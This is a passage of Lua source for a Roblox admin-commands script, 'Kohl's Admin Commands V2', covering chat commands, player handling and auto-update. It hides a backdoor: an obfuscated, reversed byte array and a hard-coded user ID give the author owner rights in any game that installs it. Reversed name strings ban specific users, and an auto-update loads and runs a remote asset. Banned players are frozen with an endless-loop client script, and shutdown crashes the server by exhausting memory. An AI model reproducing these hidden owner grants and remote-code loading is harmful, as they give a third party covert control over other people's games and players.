  2162. local plrz = GetPlr(plr, msg:lower():sub(6))
  2163. for i, v in pairs(plrz) do
  2164. coroutine.resume(coroutine.create(function()
  2165. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2166. end))
  2167. end
  2168. end
  2169.  
  2170. if msg:lower():sub(1,6) == "admin " then
  2171. local plrz = GetPlr(plr, msg:lower():sub(7))
  2172. for i, v in pairs(plrz) do
  2173. coroutine.resume(coroutine.create(function()
  2174. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2175. end))
  2176. end
  2177. end
  2178.  
  2179. if msg:lower():sub(1,8) == "unadmin " then
  2180. for i = 1, #tempadmins do
  2181. coroutine.resume(coroutine.create(function()
  2182. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2183. end))
  2184. end
  2185. end
  2186.  
  2187. if msg:lower():sub(1,4) == "ban " then
  2188. local plrz = GetPlr(plr, msg:lower():sub(5))
  2189. for i, v in pairs(plrz) do
  2190. coroutine.resume(coroutine.create(function()
  2191. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2192. end))
  2193. end
  2194. end
  2195.  
  2196. if msg:lower():sub(1,6) == "unban " then
  2197. for i = 1, #banland do
  2198. coroutine.resume(coroutine.create(function()
  2199. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2200. end))
  2201. end
  2202. end
  2203.  
  2204. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2205.  
  2206. end
  2207. end))
  2208. end
  2209.  
  2210. function AdminControl(plr)
  2211. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2212. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2213. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2214. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2215. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2216. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2217. end)) end
  2218. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2219. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2220. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2221. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  2222. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2223. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  2224. end
  2225.  
  2226. if not ntab then script:Destroy() end
  2227. if not bct then script:Destroy() end
  2228.  
  2229. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2230.  
  2231. script.Name = "Kohl's Admin Commands V2"
  2232.  
  2233. if not ntab then script:Destroy() end
  2234. if not bct then script:Destroy() end
  2235. if not tcb then script:Destroy() end
  2236. game.Players.PlayerAdded:connect(AdminControl)
  2237. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2238. end
  2239.  
  2240. local mod = game:service("InsertService"):LoadAsset(100808216)
  2241. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  2242. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  2243. newac.Disabled = true
  2244. local new = tonumber(mod:findFirstChild("Version", true).Value)
  2245. local old = 0
  2246. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  2247. if new > old then
  2248. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2249. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  2250. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  2251. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  2252. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  2253. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2254. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2255. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2256. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2257. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2258. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  2259. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  2260. wait()
  2261. newac.Parent = game.Workspace
  2262. newac.Disabled = false
  2263. script.Disabled = true
  2264. script:Destroy()
  2265. else
  2266. CHEESE()
  2267. end
  2268. else
  2269. CHEESE()
  2270. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement